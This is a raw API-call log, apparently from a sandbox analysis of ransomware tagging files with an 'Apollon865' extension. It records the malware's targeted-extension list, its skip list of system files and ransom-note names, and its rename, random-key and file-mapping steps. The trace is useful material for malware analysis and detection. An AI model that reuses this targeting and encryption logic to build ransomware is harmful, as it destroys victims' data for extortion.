	[0059.147] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0059.147] lstrlenW (lpString="nrmlib") returned 6
	[0059.148] lstrcmpiW (lpString1="es.jpg", lpString2="nrmlib") returned -1
	[0059.148] lstrlenW (lpString="ns2") returned 3
	[0059.148] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0059.148] lstrlenW (lpString="ns3") returned 3
	[0059.148] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0059.148] lstrlenW (lpString="ns4") returned 3
	[0059.148] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0059.148] lstrlenW (lpString="nsf") returned 3
	[0059.148] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0059.148] lstrlenW (lpString="nv") returned 2
	[0059.148] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0059.148] lstrlenW (lpString="nv2") returned 3
	[0059.148] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0059.148] lstrlenW (lpString="nwdb") returned 4
	[0059.148] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0059.148] lstrlenW (lpString="nyf") returned 3
	[0059.148] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0059.148] lstrlenW (lpString="odb") returned 3
	[0059.148] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0059.148] lstrlenW (lpString="odb") returned 3
	[0059.148] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0059.148] lstrlenW (lpString="oqy") returned 3
	[0059.148] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0059.148] lstrlenW (lpString="ora") returned 3
	[0059.148] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0059.148] lstrlenW (lpString="orx") returned 3
	[0059.148] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0059.148] lstrlenW (lpString="owc") returned 3
	[0059.148] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0059.148] lstrlenW (lpString="p96") returned 3
	[0059.148] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0059.148] lstrlenW (lpString="p97") returned 3
	[0059.148] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0059.148] lstrlenW (lpString="pan") returned 3
	[0059.148] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0059.148] lstrlenW (lpString="pdb") returned 3
	[0059.149] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0059.149] lstrlenW (lpString="pdm") returned 3
	[0059.149] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0059.149] lstrlenW (lpString="pnz") returned 3
	[0059.149] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0059.149] lstrlenW (lpString="qry") returned 3
	[0059.149] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0059.149] lstrlenW (lpString="qvd") returned 3
	[0059.149] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0059.149] lstrlenW (lpString="rbf") returned 3
	[0059.149] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0059.149] lstrlenW (lpString="rctd") returned 4
	[0059.149] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0059.149] lstrlenW (lpString="rod") returned 3
	[0059.149] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0059.149] lstrlenW (lpString="rodx") returned 4
	[0059.149] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0059.149] lstrlenW (lpString="rpd") returned 3
	[0059.149] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0059.149] lstrlenW (lpString="rsd") returned 3
	[0059.149] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0059.149] lstrlenW (lpString="sas7bdat") returned 8
	[0059.149] lstrcmpiW (lpString1="oses.jpg", lpString2="sas7bdat") returned -1
	[0059.149] lstrlenW (lpString="sbf") returned 3
	[0059.149] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0059.149] lstrlenW (lpString="scx") returned 3
	[0059.149] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0059.149] lstrlenW (lpString="sdb") returned 3
	[0059.149] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0059.149] lstrlenW (lpString="sdc") returned 3
	[0059.149] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0059.149] lstrlenW (lpString="sdf") returned 3
	[0059.149] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0059.149] lstrlenW (lpString="sis") returned 3
	[0059.150] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0059.150] lstrlenW (lpString="spq") returned 3
	[0059.150] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0059.150] lstrlenW (lpString="te") returned 2
	[0059.150] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0059.150] lstrlenW (lpString="teacher") returned 7
	[0059.150] lstrcmpiW (lpString1="ses.jpg", lpString2="teacher") returned -1
	[0059.150] lstrlenW (lpString="tmd") returned 3
	[0059.150] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0059.150] lstrlenW (lpString="tps") returned 3
	[0059.150] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0059.150] lstrlenW (lpString="trc") returned 3
	[0059.150] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0059.150] lstrlenW (lpString="trc") returned 3
	[0059.150] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0059.150] lstrlenW (lpString="trm") returned 3
	[0059.150] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0059.150] lstrlenW (lpString="udb") returned 3
	[0059.150] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0059.150] lstrlenW (lpString="udl") returned 3
	[0059.150] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0059.150] lstrlenW (lpString="usr") returned 3
	[0059.150] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0059.150] lstrlenW (lpString="v12") returned 3
	[0059.150] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0059.150] lstrlenW (lpString="vis") returned 3
	[0059.150] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0059.150] lstrlenW (lpString="vpd") returned 3
	[0059.150] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0059.150] lstrlenW (lpString="vvv") returned 3
	[0059.150] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0059.150] lstrlenW (lpString="wdb") returned 3
	[0059.150] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0059.150] lstrlenW (lpString="wmdb") returned 4
	[0059.150] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0059.150] lstrlenW (lpString="wrk") returned 3
	[0059.151] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0059.151] lstrlenW (lpString="xdb") returned 3
	[0059.151] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0059.151] lstrlenW (lpString="xld") returned 3
	[0059.151] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0059.151] lstrlenW (lpString="xmlff") returned 5
	[0059.151] lstrcmpiW (lpString1="s.jpg", lpString2="xmlff") returned -1
	[0059.151] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.Apollon865") returned 85
	[0059.151] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg.apollon865"), dwFlags=0x1) returned 1
	[0059.152] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0059.152] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1920) returned 1
	[0059.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0059.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0059.152] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.152] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0059.153] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0059.153] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.153] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa80, lpName=0x0) returned 0x14c
	[0059.154] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa80) returned 0x100000
	[0059.155] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0059.156] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0059.156] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.156] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.156] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.156] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0059.157] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.157] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0059.157] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.157] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0059.157] CloseHandle (hObject=0x14c) returned 1
	[0059.157] CloseHandle (hObject=0x150) returned 1
	[0059.157] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0059.157] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.157] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0059.157] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="SHADES~1.HTM")) returned 1
	[0059.157] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.157] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="Apollon865.txt.exe") returned 1
	[0059.157] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2=".") returned 1
	[0059.157] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="..") returned 1
	[0059.157] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="windows") returned -1
	[0059.157] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="bootmgr") returned 1
	[0059.157] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="temp") returned -1
	[0059.157] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="pagefile.sys") returned 1
	[0059.158] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="boot") returned 1
	[0059.158] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="ids.txt") returned 1
	[0059.158] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="ntuser.dat") returned 1
	[0059.158] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="perflogs") returned 1
	[0059.158] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2="MSBuild") returned 1
	[0059.158] lstrlenW (lpString="Shades of Blue.htm") returned 18
	[0059.158] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg") returned 74
	[0059.158] lstrcpyW (in: lpString1=0x119e68a, lpString2="Shades of Blue.htm" | out: lpString1="Shades of Blue.htm") returned="Shades of Blue.htm"
	[0059.158] lstrlenW (lpString="Shades of Blue.htm") returned 18
	[0059.158] lstrlenW (lpString="Apollon865") returned 10
	[0059.158] lstrcmpiW (lpString1="f Blue.htm", lpString2="Apollon865") returned 1
	[0059.158] lstrlenW (lpString=".dll") returned 4
	[0059.158] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2=".dll") returned 1
	[0059.158] lstrlenW (lpString=".lnk") returned 4
	[0059.158] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2=".lnk") returned 1
	[0059.158] lstrlenW (lpString=".ini") returned 4
	[0059.158] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2=".ini") returned 1
	[0059.158] lstrlenW (lpString=".sys") returned 4
	[0059.158] lstrcmpiW (lpString1="Shades of Blue.htm", lpString2=".sys") returned 1
	[0059.158] lstrlenW (lpString="Shades of Blue.htm") returned 18
	[0059.158] lstrlenW (lpString="bak") returned 3
	[0059.158] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1
	[0059.158] lstrlenW (lpString="ba_") returned 3
	[0059.158] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1
	[0059.158] lstrlenW (lpString="dbb") returned 3
	[0059.158] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1
	[0059.158] lstrlenW (lpString="vmdk") returned 4
	[0059.158] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1
	[0059.158] lstrlenW (lpString="rar") returned 3
	[0059.158] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1
	[0059.158] lstrlenW (lpString="zip") returned 3
	[0059.158] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1
	[0059.158] lstrlenW (lpString="tgz") returned 3
	[0059.159] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1
	[0059.159] lstrlenW (lpString="vbox") returned 4
	[0059.159] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1
	[0059.159] lstrlenW (lpString="vdi") returned 3
	[0059.159] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1
	[0059.159] lstrlenW (lpString="vhd") returned 3
	[0059.159] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1
	[0059.159] lstrlenW (lpString="vhdx") returned 4
	[0059.159] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1
	[0059.159] lstrlenW (lpString="avhd") returned 4
	[0059.159] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1
	[0059.159] lstrlenW (lpString="db") returned 2
	[0059.159] lstrcmpiW (lpString1="tm", lpString2="db") returned 1
	[0059.159] lstrlenW (lpString="db2") returned 3
	[0059.159] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1
	[0059.159] lstrlenW (lpString="db3") returned 3
	[0059.159] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1
	[0059.159] lstrlenW (lpString="dbf") returned 3
	[0059.159] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1
	[0059.159] lstrlenW (lpString="mdf") returned 3
	[0059.159] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1
	[0059.159] lstrlenW (lpString="mdb") returned 3
	[0059.159] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1
	[0059.159] lstrlenW (lpString="sql") returned 3
	[0059.159] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1
	[0059.159] lstrlenW (lpString="sqlite") returned 6
	[0059.159] lstrcmpiW (lpString1="ue.htm", lpString2="sqlite") returned 1
	[0059.159] lstrlenW (lpString="sqlite3") returned 7
	[0059.159] lstrcmpiW (lpString1="lue.htm", lpString2="sqlite3") returned -1
	[0059.159] lstrlenW (lpString="sqlitedb") returned 8
	[0059.159] lstrcmpiW (lpString1="Blue.htm", lpString2="sqlitedb") returned -1
	[0059.159] lstrlenW (lpString="xml") returned 3
	[0059.159] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1
	[0059.159] lstrlenW (lpString="$er") returned 3
	[0059.159] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1
	[0059.160] lstrlenW (lpString="4dd") returned 3
	[0059.160] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1
	[0059.160] lstrlenW (lpString="4dl") returned 3
	[0059.160] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1
	[0059.160] lstrlenW (lpString="^^^") returned 3
	[0059.160] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1
	[0059.160] lstrlenW (lpString="abs") returned 3
	[0059.160] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1
	[0059.160] lstrlenW (lpString="abx") returned 3
	[0059.160] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1
	[0059.160] lstrlenW (lpString="accdb") returned 5
	[0059.160] lstrcmpiW (lpString1="e.htm", lpString2="accdb") returned 1
	[0059.160] lstrlenW (lpString="accdc") returned 5
	[0059.160] lstrcmpiW (lpString1="e.htm", lpString2="accdc") returned 1
	[0059.160] lstrlenW (lpString="accde") returned 5
	[0059.160] lstrcmpiW (lpString1="e.htm", lpString2="accde") returned 1
	[0059.160] lstrlenW (lpString="accdr") returned 5
	[0059.160] lstrcmpiW (lpString1="e.htm", lpString2="accdr") returned 1
	[0059.160] lstrlenW (lpString="accdt") returned 5
	[0059.160] lstrcmpiW (lpString1="e.htm", lpString2="accdt") returned 1
	[0059.160] lstrlenW (lpString="accdw") returned 5
	[0059.160] lstrcmpiW (lpString1="e.htm", lpString2="accdw") returned 1
	[0059.160] lstrlenW (lpString="accft") returned 5
	[0059.160] lstrcmpiW (lpString1="e.htm", lpString2="accft") returned 1
	[0059.160] lstrlenW (lpString="adb") returned 3
	[0059.160] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1
	[0059.160] lstrlenW (lpString="adb") returned 3
	[0059.160] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1
	[0059.160] lstrlenW (lpString="ade") returned 3
	[0059.160] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1
	[0059.160] lstrlenW (lpString="adf") returned 3
	[0059.160] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1
	[0059.160] lstrlenW (lpString="adn") returned 3
	[0059.160] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1
	[0059.161] lstrlenW (lpString="adp") returned 3
	[0059.161] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1
	[0059.161] lstrlenW (lpString="alf") returned 3
	[0059.161] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1
	[0059.161] lstrlenW (lpString="ask") returned 3
	[0059.161] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1
	[0059.161] lstrlenW (lpString="btr") returned 3
	[0059.161] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1
	[0059.161] lstrlenW (lpString="cat") returned 3
	[0059.161] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1
	[0059.161] lstrlenW (lpString="cdb") returned 3
	[0059.161] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1
	[0059.161] lstrlenW (lpString="ckp") returned 3
	[0059.161] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1
	[0059.161] lstrlenW (lpString="cma") returned 3
	[0059.161] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1
	[0059.161] lstrlenW (lpString="cpd") returned 3
	[0059.161] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1
	[0059.161] lstrlenW (lpString="dacpac") returned 6
	[0059.161] lstrcmpiW (lpString1="ue.htm", lpString2="dacpac") returned 1
	[0059.161] lstrlenW (lpString="dad") returned 3
	[0059.161] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1
	[0059.161] lstrlenW (lpString="dadiagrams") returned 10
	[0059.161] lstrcmpiW (lpString1="f Blue.htm", lpString2="dadiagrams") returned 1
	[0059.161] lstrlenW (lpString="daschema") returned 8
	[0059.161] lstrcmpiW (lpString1="Blue.htm", lpString2="daschema") returned -1
	[0059.161] lstrlenW (lpString="db-journal") returned 10
	[0059.161] lstrcmpiW (lpString1="f Blue.htm", lpString2="db-journal") returned 1
	[0059.161] lstrlenW (lpString="db-shm") returned 6
	[0059.161] lstrcmpiW (lpString1="ue.htm", lpString2="db-shm") returned 1
	[0059.161] lstrlenW (lpString="db-wal") returned 6
	[0059.161] lstrcmpiW (lpString1="ue.htm", lpString2="db-wal") returned 1
	[0059.161] lstrlenW (lpString="dbc") returned 3
	[0059.162] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1
	[0059.162] lstrlenW (lpString="dbs") returned 3
	[0059.162] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1
	[0059.162] lstrlenW (lpString="dbt") returned 3
	[0059.162] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1
	[0059.162] lstrlenW (lpString="dbv") returned 3
	[0059.162] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1
	[0059.162] lstrlenW (lpString="dbx") returned 3
	[0059.162] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1
	[0059.162] lstrlenW (lpString="dcb") returned 3
	[0059.162] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1
	[0059.162] lstrlenW (lpString="dct") returned 3
	[0059.162] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1
	[0059.162] lstrlenW (lpString="dcx") returned 3
	[0059.162] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1
	[0059.162] lstrlenW (lpString="ddl") returned 3
	[0059.162] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1
	[0059.162] lstrlenW (lpString="dlis") returned 4
	[0059.162] lstrcmpiW (lpString1=".htm", lpString2="dlis") returned -1
	[0059.162] lstrlenW (lpString="dp1") returned 3
	[0059.162] lstrcmpiW (lpString1="htm", lpString2="dp1") returned 1
	[0059.162] lstrlenW (lpString="dqy") returned 3
	[0059.162] lstrcmpiW (lpString1="htm", lpString2="dqy") returned 1
	[0059.162] lstrlenW (lpString="dsk") returned 3
	[0059.162] lstrcmpiW (lpString1="htm", lpString2="dsk") returned 1
	[0059.162] lstrlenW (lpString="dsn") returned 3
	[0059.162] lstrcmpiW (lpString1="htm", lpString2="dsn") returned 1
	[0059.162] lstrlenW (lpString="dtsx") returned 4
	[0059.162] lstrcmpiW (lpString1=".htm", lpString2="dtsx") returned -1
	[0059.162] lstrlenW (lpString="dxl") returned 3
	[0059.162] lstrcmpiW (lpString1="htm", lpString2="dxl") returned 1
	[0059.162] lstrlenW (lpString="eco") returned 3
	[0059.162] lstrcmpiW (lpString1="htm", lpString2="eco") returned 1
	[0059.163] lstrlenW (lpString="ecx") returned 3
	[0059.163] lstrcmpiW (lpString1="htm", lpString2="ecx") returned 1
	[0059.163] lstrlenW (lpString="edb") returned 3
	[0059.163] lstrcmpiW (lpString1="htm", lpString2="edb") returned 1
	[0059.163] lstrlenW (lpString="epim") returned 4
	[0059.163] lstrcmpiW (lpString1=".htm", lpString2="epim") returned -1
	[0059.163] lstrlenW (lpString="fcd") returned 3
	[0059.163] lstrcmpiW (lpString1="htm", lpString2="fcd") returned 1
	[0059.163] lstrlenW (lpString="fdb") returned 3
	[0059.163] lstrcmpiW (lpString1="htm", lpString2="fdb") returned 1
	[0059.163] lstrlenW (lpString="fic") returned 3
	[0059.163] lstrcmpiW (lpString1="htm", lpString2="fic") returned 1
	[0059.163] lstrlenW (lpString="flexolibrary") returned 12
	[0059.163] lstrcmpiW (lpString1=" of Blue.htm", lpString2="flexolibrary") returned -1
	[0059.163] lstrlenW (lpString="fm5") returned 3
	[0059.163] lstrcmpiW (lpString1="htm", lpString2="fm5") returned 1
	[0059.163] lstrlenW (lpString="fmp") returned 3
	[0059.163] lstrcmpiW (lpString1="htm", lpString2="fmp") returned 1
	[0059.163] lstrlenW (lpString="fmp12") returned 5
	[0059.163] lstrcmpiW (lpString1="e.htm", lpString2="fmp12") returned -1
	[0059.163] lstrlenW (lpString="fmpsl") returned 5
	[0059.163] lstrcmpiW (lpString1="e.htm", lpString2="fmpsl") returned -1
	[0059.163] lstrlenW (lpString="fol") returned 3
	[0059.163] lstrcmpiW (lpString1="htm", lpString2="fol") returned 1
	[0059.163] lstrlenW (lpString="fp3") returned 3
	[0059.163] lstrcmpiW (lpString1="htm", lpString2="fp3") returned 1
	[0059.163] lstrlenW (lpString="fp4") returned 3
	[0059.163] lstrcmpiW (lpString1="htm", lpString2="fp4") returned 1
	[0059.163] lstrlenW (lpString="fp5") returned 3
	[0059.163] lstrcmpiW (lpString1="htm", lpString2="fp5") returned 1
	[0059.163] lstrlenW (lpString="fp7") returned 3
	[0059.163] lstrcmpiW (lpString1="htm", lpString2="fp7") returned 1
	[0059.163] lstrlenW (lpString="fpt") returned 3
	[0059.163] lstrcmpiW (lpString1="htm", lpString2="fpt") returned 1
	[0059.164] lstrlenW (lpString="frm") returned 3
	[0059.164] lstrcmpiW (lpString1="htm", lpString2="frm") returned 1
	[0059.164] lstrlenW (lpString="gdb") returned 3
	[0059.164] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1
	[0059.164] lstrlenW (lpString="gdb") returned 3
	[0059.164] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1
	[0059.164] lstrlenW (lpString="grdb") returned 4
	[0059.164] lstrcmpiW (lpString1=".htm", lpString2="grdb") returned -1
	[0059.164] lstrlenW (lpString="gwi") returned 3
	[0059.164] lstrcmpiW (lpString1="htm", lpString2="gwi") returned 1
	[0059.164] lstrlenW (lpString="hdb") returned 3
	[0059.164] lstrcmpiW (lpString1="htm", lpString2="hdb") returned 1
	[0059.164] lstrlenW (lpString="his") returned 3
	[0059.164] lstrcmpiW (lpString1="htm", lpString2="his") returned 1
	[0059.164] lstrlenW (lpString="ib") returned 2
	[0059.164] lstrcmpiW (lpString1="tm", lpString2="ib") returned 1
	[0059.164] lstrlenW (lpString="idb") returned 3
	[0059.164] lstrcmpiW (lpString1="htm", lpString2="idb") returned -1
	[0059.164] lstrlenW (lpString="ihx") returned 3
	[0059.164] lstrcmpiW (lpString1="htm", lpString2="ihx") returned -1
	[0059.164] lstrlenW (lpString="itdb") returned 4
	[0059.164] lstrcmpiW (lpString1=".htm", lpString2="itdb") returned -1
	[0059.164] lstrlenW (lpString="itw") returned 3
	[0059.164] lstrcmpiW (lpString1="htm", lpString2="itw") returned -1
	[0059.164] lstrlenW (lpString="jet") returned 3
	[0059.164] lstrcmpiW (lpString1="htm", lpString2="jet") returned -1
	[0059.164] lstrlenW (lpString="jtx") returned 3
	[0059.164] lstrcmpiW (lpString1="htm", lpString2="jtx") returned -1
	[0059.164] lstrlenW (lpString="kdb") returned 3
	[0059.164] lstrcmpiW (lpString1="htm", lpString2="kdb") returned -1
	[0059.164] lstrlenW (lpString="kexi") returned 4
	[0059.164] lstrcmpiW (lpString1=".htm", lpString2="kexi") returned -1
	[0059.164] lstrlenW (lpString="kexic") returned 5
	[0059.164] lstrcmpiW (lpString1="e.htm", lpString2="kexic") returned -1
	[0059.164] lstrlenW (lpString="kexis") returned 5
	[0059.165] lstrcmpiW (lpString1="e.htm", lpString2="kexis") returned -1
	[0059.165] lstrlenW (lpString="lgc") returned 3
	[0059.165] lstrcmpiW (lpString1="htm", lpString2="lgc") returned -1
	[0059.165] lstrlenW (lpString="lwx") returned 3
	[0059.165] lstrcmpiW (lpString1="htm", lpString2="lwx") returned -1
	[0059.165] lstrlenW (lpString="maf") returned 3
